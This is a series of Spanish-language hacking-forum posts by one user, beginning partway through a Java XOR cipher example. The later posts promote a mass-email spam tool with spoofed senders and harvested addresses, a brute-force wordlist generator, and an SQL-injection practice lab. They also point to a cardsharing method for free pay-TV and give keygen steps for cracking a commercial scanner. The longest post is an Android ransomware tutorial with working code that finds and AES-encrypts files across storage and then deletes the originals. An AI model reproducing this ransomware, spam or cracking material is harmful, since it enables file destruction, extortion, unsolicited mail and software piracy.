  47.       You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  48.      
  49.       Imprimir(resultado);
  50.       You are not allowed to view links. Register or Login.out.print(": <-- bytes de cipher");
  51.      
  52.       You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  53.       You are not allowed to view links. Register or Login.out.print(" - Mensaje Cifrado: ");
  54.       You are not allowed to view links. Register or Login.out.print(BinarioATexto(resultado));
  55.       You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  56.       You are not allowed to view links. Register or Login.out.println("\t\t* Descifrando *");
  57.       You are not allowed to view links. Register or Login.out.println("-------------------------------------------------------");
  58.      
  59.       //Se manda a descifrar;
  60.       You are not allowed to view links. Register or Login[] resultado2 = Cifrado_Descifrado_XOR(resultado,claveB);
  61.  
  62.    
  63.    Imprimir(resultado);
  64.    You are not allowed to view links. Register or Login.out.print(": <-- bytes del cipher");
  65.  
  66.    You are not allowed to view links. Register or Login.out.println("");
  67.    Imprimir(claveB);
  68.    
  69.    You are not allowed to view links. Register or Login.out.print(": <-- bytes de clave");
  70.    You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  71.    
  72.    Imprimir(resultado2);
  73.    You are not allowed to view links. Register or Login.out.println(": <-- bytes del mensaje desencriptado");
  74.    You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  75.    You are not allowed to view links. Register or Login.out.print(" - Mensaje Descrifrado: ");
  76.    You are not allowed to view links. Register or Login.out.print(BinarioATexto(resultado2));
  77.    You are not allowed to view links. Register or Login.out.println("\n-------------------------------------------------------");
  78.    }
  79.    
  80.    public static You are not allowed to view links. Register or Login CompuertaXOR (You are not allowed to view links. Register or Login binario1 , You are not allowed to view links. Register or Login binario2){
  81.      
  82.       char [] operando1 = binario1.toCharArray();
  83.       char [] operando2 = binario2.toCharArray();
  84.       char [] r =new char [operando1.length];
  85.      
  86.    for(int i=0;i<operando1.length ;i++){
  87.      
  88.      
  89.       if(operando1[i]!=operando2[i]){
  90.             r [i]='1';
  91.          }else {
  92.             r [i]= '0';
  93.          }
  94.    }  
  95.  
  96.    You are not allowed to view links. Register or Login re="";
  97.    for(int j=0;j<r.length;j++){
  98.       re+=r[j];
  99.    }
  100.  
  101.       return re;
  102.    }
  103.    
  104.    public static You are not allowed to view links. Register or Login [] Cifrado_Descifrado_XOR (You are not allowed to view links. Register or Login [] mensaje,You are not allowed to view links. Register or Login [] clave){
  105.      
  106.       You are not allowed to view links. Register or Login [] resultado = new You are not allowed to view links. Register or Login [mensaje.length];
  107.       int puntero=0;
  108.    
  109.       for(int i =0 ;i<mensaje.length;i++){
  110.          
  111.          if(puntero>=clave.length){
  112.             puntero =0;
  113.          }
  114.          resultado[i]= CompuertaXOR(mensaje[i],clave[puntero]);
  115.          
  116.          puntero++;
  117.       }
  118.      
  119.       return resultado;
  120.    }
  121.  
  122.    
  123.    public static You are not allowed to view links. Register or Login [] TextoABinario(You are not allowed to view links. Register or Login texto){
  124.      
  125.       char caracter;
  126.       int codigoASCII;
  127.       You are not allowed to view links. Register or Login binario;
  128.       You are not allowed to view links. Register or Login [] binarios = new You are not allowed to view links. Register or Login [texto.length()];
  129.      
  130.       for (int i=0;i<texto.length();i++){
  131.          
  132.          caracter = texto.charAt(i);
  133.          codigoASCII = (int) caracter;
  134.          
  135.          binario = "";
  136.          
  137.          
  138.          for(int j=7;j>=0;j--){
  139.             if(codigoASCII>=You are not allowed to view links. Register or Login.pow(2, j)){
  140.                codigoASCII-=You are not allowed to view links. Register or Login.pow(2,j);
  141.                binario +="1";
  142.             }else{
  143.                binario+="0";
  144.             }
  145.          }
  146.      
  147.          binarios[i]= binario.toString();
  148.  
  149.          
  150.       }
  151.       return binarios;
  152.    }
  153.    
  154.    
  155.    public static You are not allowed to view links. Register or Login BinarioATexto(You are not allowed to view links. Register or Login [] binarios){
  156.       You are not allowed to view links. Register or Login texto="";
  157.      
  158.       for(int j=0;j<binarios.length;j++){
  159.       char [] bin = binarios[j].toCharArray();
  160.      
  161.       int decimal =0;
  162.      
  163.       int contador=0;
  164.       for(int i=bin.length-1;i>-1;i--){
  165.    
  166.          if(bin[contador]=='1'){
  167.             decimal+=You are not allowed to view links. Register or Login.pow(2, i);
  168.          }
  169.          
  170.          contador++;
  171.       }
  172.      
  173.       texto+= (char) decimal;
  174.      
  175.       }
  176.      
  177.       return texto;
  178.    }
  179.    
  180.    public static void Imprimir(You are not allowed to view links. Register or Login [] arreglo){
  181.      
  182.       for(int i=0;i<arreglo.length;i++){
  183.          You are not allowed to view links. Register or Login.out.print(arreglo[i]+" ");
  184.       }
  185.    }
  186.    
  187.  
  188. }
  189.  

Lo pobrare con el mensaje: Colombia
y la clave: hacking


me da como cipher: + 
y luego de descifrar: Colombia


Bueno amigos esto es todo por hoy, aca no acaba este post seguire agregando algoritmos mas complejos con el paso del tiempo, espero les sirva de algo, ami me sirvio para profundizar mis conocimientos, me gusta todo esto de la criptografia y pues si esto lo ve algun programador lo podria utilizar en sus desarrollos para mejorar su seguridad, un saludo desde Colombia!


6
Hacking / EmailSpammer hacer spam nunca habia sido tan facil
« en: Diciembre 31, 2017, 07:14:05 am »
HOLA COMPAÑ[email protected]

Hoy les vengo a enseñar una herramienta que cree que nos permite enviar correos masivamente desde un servidor que tenga el servicio smtp instalado, casi todos lo tienen hasta los que son gratis, esta hecho en php, html5 y css .

primero descargamos la carpeta EmailSpammer que se encuentra aca:

You are not allowed to view links. Register or Login

y dentro de la misma descomprimimos el archivo ckeditor.tar.gz , les deben quedar estos 3 archivos dentro de la carpeta EmailSpammer si quieren pueden eliminar el arhivo comprimido


luego vamos a un servidor que nos servira para enviar los correos, puede ser uno gratuito como 000webhost y se registran con un correo fake o algun servidor que ya tengan por hay ;)

Bueno subimos la carpeta EmailSpammer a nuestro servidor  puede ser por ftp o como quieran y luego vamos a nuestroservidor/EmailSpammer


Listo ahora solo tenemos que tener una lista de correos, puede ser una que ya tengamos o pueden utilizar theHarvester para buscarlos, solo es instalarlo y por ejemplo para correos gmail.com seria algo asi: (estoy en debian hay que instalar theHarvester, kali linux ya lo trae por defecto)

python ./theHarvester.py -d gmail.com -l 500 -b google

y copiamos los correos a una hoja de texto y la guardamos como un archivo .txt

Luego solo colocan De: que vendria siendo quien envia el mensaje, el servidor lo enviara a nombre de ese correo, pueden poner el que quieran, seleccionan el archivo de texto con los correos(por ahora solo lee archivos de texto .txt)
colocan el asunto y luego llenan el mensaje, puede ser un mensaje con imagenes y todo bien bonito jaja, cuando ya lo tengan solo le dan enviar y listo el email estara enviado!

En la proxima actualizacion pondre que pueda leer archivos excel porque algunas bases de datos estan asi y serviria, saludos espero que les sirva de algo.


7
Hacking / HLuna Generador de Diccionarios para Fuerza Bruta
« en: Diciembre 05, 2017, 09:35:17 pm »
HOLA COMPAÑ[email protected]

Hace rato que no publicaba nada, estaba ocupado pero ya es hora de volver a lo que me gusta, esto de el pentesting, hoy les vengo a presentar HLuna un pack de herramientas que estoy desarrolando para sistemas linux, esta hecho en c++, por ahora solo cuenta con una herramienta, un generador de diccionarios para fuerza bruta, pero lo estare actualizando para asi agregar mas herramientas, les invito a que lo prueben da buenos resultados en cuanto a contraseñas wifi y logins basicos. (Probado en sistemas Debian y en Kali )


Bueno sin tanto rodeo les voy a enseñar como instalarlo
aca esta el github con el paso a paso por si acaso:
You are not allowed to view links. Register or Login

Creamos una carpeta que se llame HLuna,

mkdir HLuna

Descargamos el archivo HLuna y lo pegamos dentro de esta carpeta, el archivo se encuentra aca  You are not allowed to view links. Register or Login

Luego damos permisos de ejecucion

chmod +x HLuna

y despues procedemos a correrlo

./HLuna

y listo muchachos,les saldra esto por consola


Trate de hacerlo lo mas intuitivo posible, aparece un menu, pulsan 1 para generar el diccionario

Luego nos preguntara cuantos palabras queremos generar, yo le puse 1024 para este ejemplo, pero todo depende de la compejitud de el diccionario


Luego nos pedira las palabras guias, estas son las palabras que el usuario creen que estaran en la contraseña seguidas de enter, por ejemplo:

administrador
admin
user
2017
usuario
acceso

Cuando ya tengamos todas pulsamos 0


Luego nos preguntara la ruta para guardar el diccionario por ejemplo /home/usuario/Escritorio/archivo.txt  aunque si colocan solo el nombre de el archivo por ejemplo diccionario.txt este lo generara en la ubicacion donde tengamos el archivo HLuna, en mi caso lo puse en el escritorio



y listo!, vamos a la ubicacion que pusimos anteriormente y ya estara nuestro diccionario creado



Pondre mas funcionalidades, apenas estoy empezando, espero les sirva, un gusto!!

EL CONOCIMIENTO ES LIBRE!





8
Hola [email protected]! llevaba tiempo sin pasarme por aqui pero pues ya era hora de volver, esta vez les traigo un laboratorio que me arme para poder enseñar como se hace una injection sql manualmente, espero les guste.

Pueden montarlo en su propia maquina con un servidor local como xamp o wamp que ya tiene todo listo o a su propio servidor en internet, primero vamos a crear una base de datos MySql en nuestro servidor y crearemos una tabla llamada Clientes, el script quedaria algo asi:

CREATE TABLE `NOMBRE_BD`.`Clientes` ( `id` INT(2) NOT NULL AUTO_INCREMENT , `user` VARCHAR(30) NOT NULL , `password` VARCHAR(30) NOT NULL , `correo` VARCHAR(40) NOT NULL , `saldo` INT(3) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;

y se veria algo asi:


llenan la tabla con algunos datos.

Aca les dejo los archivos necesarios para subir al servidor:
You are not allowed to view links. Register or Login

Despues de descargarlos abrimos los tres archivos .php que se descargaron el archivo index.php, registro.php,sqli.php y llenan los datos como USUARIO_BD, CONTRASEÑA_BD Y NOMBRE_BD, depende tengan configurada su base de datos, al terminar esto solo queda subir todos los archivos a una carpeta del servidor y listo!


Abrimos a nuestro navegador y nos dirimos a donde tengamos los archivos por ejemplo:

You are not allowed to view links. Register or Login

Nos saldra un login, primero nos registramos y luego iniciamos sesion son los anteriores datos, y listo estaremos adentro
, ahora si a jugar:



INYECCION:


PRIMERO SE MIRA SI ES VULNERABLE

You are not allowed to view links. Register or Login'


SE BUSCA EL NUMERO DE COLUMNAS DE LA TABLA

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


SE MIRAN QUE CAMPOS CORRESPONDEN A QUE COLUMNA

You are not allowed to view links. Register or Login


SE REVISA QUE VERSION DE BASE DE DATOS UTILIZA

You are not allowed to view links. Register or Login

SE PUEDE VER EL TIPO DE CODIFICACION UTILIZA

You are not allowed to view links. Register or Login

SE PUEDE OBTENER EL USUARIO CON EL QUE SE ESTA TRABJANDO LA BD

You are not allowed to view links. Register or Login

LISTA EL NUMERO DE TABLAS DE LA BD

You are not allowed to view links. Register or Login

"convertir el nombre de la tabla en hexadecimal" Clientes: 436c69656e746573

VAMOS A IMPRIMIR EL NOMBRE DE LAS COLUMNAS DE LA TABLA DE LA BASE DE DATOS

You are not allowed to view links. Register or Login

Y LISTO AHORA SI PODEMOS OBTENER LOS DATOS

You are not allowed to view links. Register or Login

TODO ESTO LO PODEMOS HACER GRACIAS A QUE NO VALIDAMOS EL ID QUE NOS LLEGA POR LE METODO GET, CON UNA FUNCION QUE NOS LIMPIE ESTA VARIBALE LO PODEMOS ARREGLAR, SOLO DEBEMOS HACER ESTO EN LA LINEA 31 DE EL ARCHIVO SQLI.PHP TENEMOS QUE:

   $id =  $_GET["id"];

y a lo ultimo hay una funcionar que se llama limpiarString(), lo que tenemos que hacer es hacer que el id que obtenemos por get se limpie asi:

   $id =  limpiarString($_GET["id"]);

y listo, esta es una forma muy basica para detenerlo, php ya tiene unas funciones como htmlentities o htmlspecialchars, ustedes deciden.

LISTO AMIGOS SU PROPIO LABORATORIO DE SQL INJECTION, ESPERO QUE LES SIRVA,UN SALUDO!


9
Hacking / CardSharing
« en: Septiembre 03, 2017, 01:34:33 am »
Hola compañ[email protected], me parecio miy importante y creo que lo debo compartir, como ver tvs de paga y canales premium gratis!, hay que tener mucha paciencia pero se puede la tecnica se llama CardSharing aca un manual de el paso a paso y un video de la rooted donde hablan de esto

You are not allowed to view links. Register or Login



10
Hola compañ[email protected]!

Quiero compartirles algo en lo que eh estado trabajando, este año se hablo mucho de los famosos rasonware, del ciber ataque mundial que sufrieron muchas empresas y demas, ps bueno, primero entendamos que es un rasonware y como opera.

Segun wikipedia:

Citar
Un ransomware (del inglés ransom, ‘rescate’, y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

En este tutorial les enseñare como crear un simple rasonware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permitira encriptar archivos de texto, imagenes y musica.
Bueno y ps como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda(despues les explicare esta parte)

Antes que nada quiero decirles que este tutorial va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:



Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaria:

Código: Java
  1. <TextView
  2.             android:id="@+id/textView4"
  3.             android:layout_width="match_parent"
  4.             android:layout_height="wrap_content"
  5.             android:layout_gravity="center_vertical|center_horizontal|center"
  6.             android:fontFamily="monospace"
  7.             android:text="Contraseña"
  8.             android:textSize="18sp" />
  9.  
  10.         <EditText
  11.             android:id="@+id/clavesita"
  12.             android:layout_width="match_parent"
  13.             android:layout_height="wrap_content"
  14.             android:ems="10"
  15.             android:inputType="textPassword" />
  16.  
  17.         <You are not allowed to view links. Register or Login
  18.             android:id="@+id/boton1"
  19.             android:layout_width="match_parent"
  20.             android:layout_height="wrap_content"
  21.             android:text="Encriptar" />
  22.  
  23.         <You are not allowed to view links. Register or Login
  24.             android:id="@+id/boton2"
  25.             android:layout_width="match_parent"
  26.             android:layout_height="wrap_content"
  27.             android:text="Desencriptar" />


algo asi se veria:



Listo y aca empezamos con lo interesante, el codigo!
presten atencion a cada detalle que nombro, muchas 'cositas' me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow (6), tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:


Código: Java
  1. <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
  2. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>


ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecucion:


Código: Java
  1. //Verificamos si ya tiene permisos
  2.  
  3.   if (ContextCompat.checkSelfPermission(this, You are not allowed to view links. Register or Login.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, You are not allowed to view links. Register or Login.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.   Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  7.  
  8. //Ya tenemos los permisos necesarios
  9. //Podemos proceder a trabajar con la memoria de el celular
  10.  
  11. } else{
  12.  
  13. //Si no tenemos permisos, creare una funcion para pedirlos
  14.  
  15. PedirPermisos();
  16.  
  17. }


fuera del metodo OnCreate, definimos la funcion:

Código: Java
  1. public void PedirPermisos() {
  2.  
  3.         if (ActivityCompat.shouldShowRequestPermissionRationale(this, You are not allowed to view links. Register or Login.permission.READ_EXTERNAL_STORAGE)) {
  4.  
  5.             Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
  6.         }
  7.         ActivityCompat.requestPermissions(this, new You are not allowed to view links. Register or Login[]{You are not allowed to view links. Register or Login.permission.READ_EXTERNAL_STORAGE, You are not allowed to view links. Register or Login.permission.WRITE_EXTERNAL_STORAGE},
  8.                 MY_PERMISSIONS_REQUEST);
  9.  
  10.  
  11.     }


Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no


 
Código: Java
  1. @Override
  2.     public void onRequestPermissionsResult(int requestCode,
  3.                                            You are not allowed to view links. Register or Login permissions[], int[] grantResults) {
  4.         if (requestCode == MY_PERMISSIONS_REQUEST) {
  5.             // If request is cancelled, the result arrays are empty.
  6.             if (grantResults.length > 0
  7.                     && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
  8.  
  9.  
  10.                 Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  11.  
  12.  
  13.             } else {
  14.                 Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();
  15.  
  16.             }
  17.             return;
  18.         }
  19.  
  20.  
  21.     }


Algo asi les debe estar quedando



Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: Java
  1. public void encriptar(You are not allowed to view links. Register or Login clave, You are not allowed to view links. Register or Login direccion, You are not allowed to view links. Register or Login nombre) throws You are not allowed to view links. Register or Login, You are not allowed to view links. Register or Login, NoSuchPaddingException, You are not allowed to view links. Register or Login {
  2.  
  3.         //Archivo de entrada(sin encriptar)
  4.  
  5.         You are not allowed to view links. Register or Login extStore = You are not allowed to view links. Register or Login.getExternalStorageDirectory();
  6.         You are not allowed to view links. Register or Login Entrada = new You are not allowed to view links. Register or Login("/" + direccion);
  7.        
  8.        //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
  9.  
  10.         You are not allowed to view links. Register or Login Salida = new You are not allowed to view links. Register or Login(extStore + "/encript_" + nombre);
  11.  
  12.         // Tamaño de la key 16 bytes!
  13.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  14.      
  15.    // Se crea el Cipher, el encargado de cifrar los streams
  16.  
  17.         Cipher cipher = Cipher.getInstance("AES");
  18.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  19.  
  20.         // stream de salida, archivo de salida
  21.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  22.        
  23.  // Escribe bytes
  24.         int b;
  25.         byte[] d = new byte[8];
  26.         while ((b = Entrada.read(d)) != -1) {
  27.             cos.write(d, 0, b);
  28.         }
  29.        
  30.       //Cierra los stream
  31.         cos.flush();
  32.         cos.close();
  33.         Entrada.close();
  34.  
  35.         //Borra el archivo original
  36.         You are not allowed to view links. Register or Login tmp = new You are not allowed to view links. Register or Login("/" + direccion);
  37.         tmp.delete();
  38.  
  39.     }


y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: Java
  1. public static void desencriptar(You are not allowed to view links. Register or Login clave, You are not allowed to view links. Register or Login direccion, You are not allowed to view links. Register or Login nombre) throws You are not allowed to view links. Register or Login, You are not allowed to view links. Register or Login, NoSuchPaddingException, You are not allowed to view links. Register or Login {
  2.  
  3.         You are not allowed to view links. Register or Login extStore = You are not allowed to view links. Register or Login.getExternalStorageDirectory();
  4.         You are not allowed to view links. Register or Login Entrada = new You are not allowed to view links. Register or Login("/" + direccion);
  5.  
  6.         You are not allowed to view links. Register or Login Salida = new You are not allowed to view links. Register or Login(extStore + "/decrypt_" + nombre);
  7.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  8.                 "AES");
  9.         Cipher cipher = Cipher.getInstance("AES");
  10.         cipher.init(Cipher.DECRYPT_MODE, sks);
  11.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  12.         int b;
  13.         byte[] d = new byte[8];
  14.         while ((b = cis.read(d)) != -1) {
  15.             Salida.write(d, 0, b);
  16.         }
  17.         Salida.flush();
  18.         Salida.close();
  19.         cis.close();
  20.  
  21.         //Borra el archivo encriptado
  22.         You are not allowed to view links. Register or Login tmp = new You are not allowed to view links. Register or Login("/" + direccion);
  23.         tmp.delete();
  24.  
  25.     }


Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion que valla por todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo asi:

Código: Java
  1. public static ArrayList<File> EncontrarArchivos(You are not allowed to view links. Register or Login root) {
  2.         ArrayList<File> Archivos = new ArrayList<File>();
  3.         You are not allowed to view links. Register or Login[] _archivos = root.listFiles();
  4.         if (_archivos != null) {
  5.             for (You are not allowed to view links. Register or Login lista : _archivos) {
  6.                 if (lista.isDirectory() && !lista.isHidden()) {
  7.  
  8.                     Archivos.addAll(EncontrarArchivos(lista));
  9.                 } else {
  10.  
  11.                      //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
  12.  
  13.                     if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") ||
  14.                   lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
  15.                         if (lista.getTotalSpace() > 3) {
  16.  
  17.                         //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
  18.  
  19.                             Archivos.add(lista);
  20.                         }
  21.                     }
  22.                 }
  23.             }
  24.         }
  25.         return Archivos;
  26.     }


Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: Java
  1.     //PIDE Y COMPRUEBA PERMISOS EN EJECUCION
  2.  
  3.         if (ContextCompat.checkSelfPermission(this, You are not allowed to view links. Register or Login.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, You are not allowed to view links. Register or Login.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.             //Referencia botones y demas
  7.             final You are not allowed to view links. Register or Login BotonEncriptar = (You are not allowed to view links. Register or Login) findViewById(R.id.boton1);
  8.             final You are not allowed to view links. Register or Login BotonDesencriptar = (You are not allowed to view links. Register or Login) findViewById(R.id.boton2);
  9.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  10.  
  11.  
  12.             Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  13.  
  14.             BotonDesencriptar.setOnClickListener(new You are not allowed to view links. Register or Login.OnClickListener() {
  15.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  16.                 public void onClick(You are not allowed to view links. Register or Login view) {
  17.  
  18.  
  19.                     try {
  20.  
  21.                               //Lista de archivos encontrados en el sistema
  22.  
  23.                         final ArrayList<File> Archivos = EncontrarArchivos(You are not allowed to view links. Register or Login.getExternalStorageDirectory());
  24.  
  25.                         for (int i = 0; i < Archivos.size(); i++) {
  26.  
  27.                              //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
  28.                              // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"
  29.  
  30.                              int comprobacion = Archivos.get(i).getName().indexOf("encript_");
  31.                             if (comprobacion != -1) {
  32.  
  33.                                 desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  34.  
  35.                             }
  36.                             }
  37.  
  38.                         }
  39.  
  40.                               //Excepciones necesarias para la funcion de encriptar
  41.  
  42.                     } catch (You are not allowed to view links. Register or Login | You are not allowed to view links. Register or Login | NoSuchPaddingException | You are not allowed to view links. Register or Login k) {
  43.                         k.printStackTrace();
  44.                     }
  45.                 }
  46.             });
  47.  
  48.  
  49.             BotonEncriptar.setOnClickListener(new You are not allowed to view links. Register or Login.OnClickListener() {
  50.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  51.                 public void onClick(You are not allowed to view links. Register or Login view) {
  52.  
  53.  
  54.                     try {
  55.  
  56.  
  57.                         final ArrayList<File> Archivos = EncontrarArchivos(You are not allowed to view links. Register or Login.getExternalStorageDirectory());
  58.  
  59.                         for (int i = 0; i < Archivos.size(); i++) {
  60.                          
  61.      //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
  62.  
  63.                             encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  64.  
  65.                        
  66.  
  67.  
  68.                     } catch (You are not allowed to view links. Register or Login | You are not allowed to view links. Register or Login | NoSuchPaddingException | You are not allowed to view links. Register or Login k) {
  69.  
  70.                         k.printStackTrace();
  71.  
  72.                     }
  73.  
  74.                 }
  75.             });
  76.  
  77.         } else {
  78.  
  79.             PedirPermisos();
  80.         }
  81.  
  82.     }

Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro rasonware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: Java
  1. //Referenciamos nuestro objetos en pantalla
  2.  
  3.  final You are not allowed to view links. Register or Login BotonEncriptar = (You are not allowed to view links. Register or Login) findViewById(R.id.boton1);
  4.             final You are not allowed to view links. Register or Login BotonDesencriptar = (You are not allowed to view links. Register or Login) findViewById(R.id.boton2);
  5.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


y luego la leemos:

Código: Java
  1. You are not allowed to view links. Register or Login clave = EntradaClave.getText().toString();

esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un rasonware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:



Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:



Ahora volvere a la aplicacion y le dare en desenciptar:


Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede alli guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y .....
Pero aca otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su informacion.

cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados xd, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
Aca el codigo y la app lista para que la prueben

You are not allowed to view links. Register or Login

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad, es mas bien como educativo, no corran.

Ayer murio el vocalista de Linkin Park, Chester Bennington, sus canciones me acompañaron mientras programaba y en mi dia a dia, quise hacer este tutorial en homenaje a  él, Grande Chester Bennington!!, tus fans nunca te olvidaremos.

You are not allowed to view links. Register or Login



(perdon por la ortografia no soy muy bueno con las palabras)

Un saludo y gusto en compartir!

11
Hacking / Hacking a Paginas Web con Acunetix y un poco de Ingenio!
« en: Julio 12, 2017, 03:31:57 am »
Hola compañ[email protected], hoy vengo a mostrarles un programita que me acabe de bajar y me ah parecido muy util a la hora de hacer pruebas de seguridad a nivel de paginas web, se trata de Acunetix, hasta ahora empiezo a mirarlo pero lo que se esque me da un analisis completo de todo el servidor de la pagina, ubicaciones dentro del servidor, cookies, peticiones get y post, ademas nos muestra su estructura interna (algo que nos servira mas adelante), tambien permite hacer injecciones sql, editar cabeceras http, sniffear y bueno en fin, se que tiene muchas mas cosas pero por ahora solo utilizaremos algunas de estas.

Antes que nada quiero mencionar que este programa es compatible con windows, asi que realizare todo el tutorial en este sistema operativo(si, si ya se pero aveces hay que acostumbrarse a usar lo que se tenga a la mano), mas que todo quiero explicar el vector de ataque, ustedes podran hacer el ataque con la herramienta que mas les guste o a mano, a lo hardcore! jaja

Aca un screenshot de el programa




Link del programa:

You are not allowed to view links. Register or Login

El programa lo encontre en internet la verdad yo solo lo comparto, les recomiendo que si quieren lo examinen con un antivirus
es facil de instalar, dentro de la carpeta estan las instruccion en ingles,les explicare brevemente
Descargan el archivo, lo descomprimen y les va a quedar una carpeta con 4 archivos adentro, hay esta el tutorial dentro de esas cosas, instalan el programa  2017_03_17_00_webvulnscan112.exe y luego se dirigen a la carpeta donde quedo instalado el programa por lo general en el disco local C: dentro de Archivos de programa/Acunetix, pegan el Activation.exe y el keygen que estan la carpeta descargada y lo pegan dentro, luego abren el icono Acunetix Web Vulnerability Scanner 10.5 que les quedo en el escritorio como administrador  y les va a salir un formulario de registro, donde dice key colocan un espacio,(asi es un espacio y ya), colocan este correo [email protected]  y este telefono 0654321234 , lo demas se deja en blanco y se la da siguiente, les saldra una o dos ventanas, le dan ok a la primera y cancel a la segunda o cancel a las dos como queiran xd y listo saldra un error y el programa abrira solo (si tienen dudas o algo mas en la carpeta estan las instrucciones en ingles)

